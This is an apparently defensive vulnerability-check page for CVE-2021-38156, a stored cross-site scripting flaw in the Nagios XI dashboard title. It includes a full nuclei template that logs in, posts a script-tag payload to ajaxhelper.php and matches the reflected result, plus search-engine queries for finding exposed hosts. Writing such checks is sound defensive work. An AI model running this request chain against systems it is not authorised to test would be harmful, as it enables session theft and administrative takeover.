Browse / CVEs / CVE-2021-38156
CVE-2021-38156· nagios / nagios xi· CWE-79
Nagios XI < 5.8.6 - Cross-Site Scripting
mediumseverity
5.4CVSS score
92.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
Impact
Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
Fix
Upgrade to Nagios XI version 5.8.6 or later.
How to confirm it
Send: GET /nagiosxi/login.php ; POST /nagiosxi/login.php ; GET /nagiosxi/index.php ; POST /nagiosxi/ajaxhelper.php ; GET /nagiosxi/dashboards/manage.php
Positive when: contains in body_5 "data-title=\"\"><script>alert(document.domain)</script>" AND contains in header_5 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-38156 -u <target>
The full check
id: CVE-2021-38156
info:
name: Nagios XI < 5.8.6 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
impact: |
Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
remediation: |
Upgrade to Nagios XI version 5.8.6 or later.
reference:
- https://raxis.com/blog/cve-2021-38156/
- https://nvd.nist.gov/vuln/detail/CVE-2021-38156
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2021-38156
cwe-id: CWE-79
epss-score: 0.92909
epss-percentile: 0.99833
cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
metadata:
max-request: 5
verified: true
vendor: nagios
product: nagios_xi
shodan-query: http.title:"nagios xi"
fofa-query: app="nagios-xi"
google-query: intitle:"nagios xi"
tags: cve,cve2021,nagios,nagiosxi,xss,authenticated,vuln
http:
- raw:
- |
GET /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}
- |
GET /nagiosxi/index.php HTTP/1.1
Host: {{Hostname}}
- |
POST /nagiosxi/ajaxhelper.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}
- |
GET /nagiosxi/dashboards/manage.php HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- 'data-title=""><script>alert(document.domain)</script>'
- type: word
part: header_5
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: nsp
part: body
group: 1
regex:
- "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
internal: true
- type: regex
name: nsp_auth
part: body
group: 1
regex:
- "var nsp_str = ['\"](.*)['\"];"
internal: trueReferences
Use this check only on systems you are authorised to test. Where the data comes from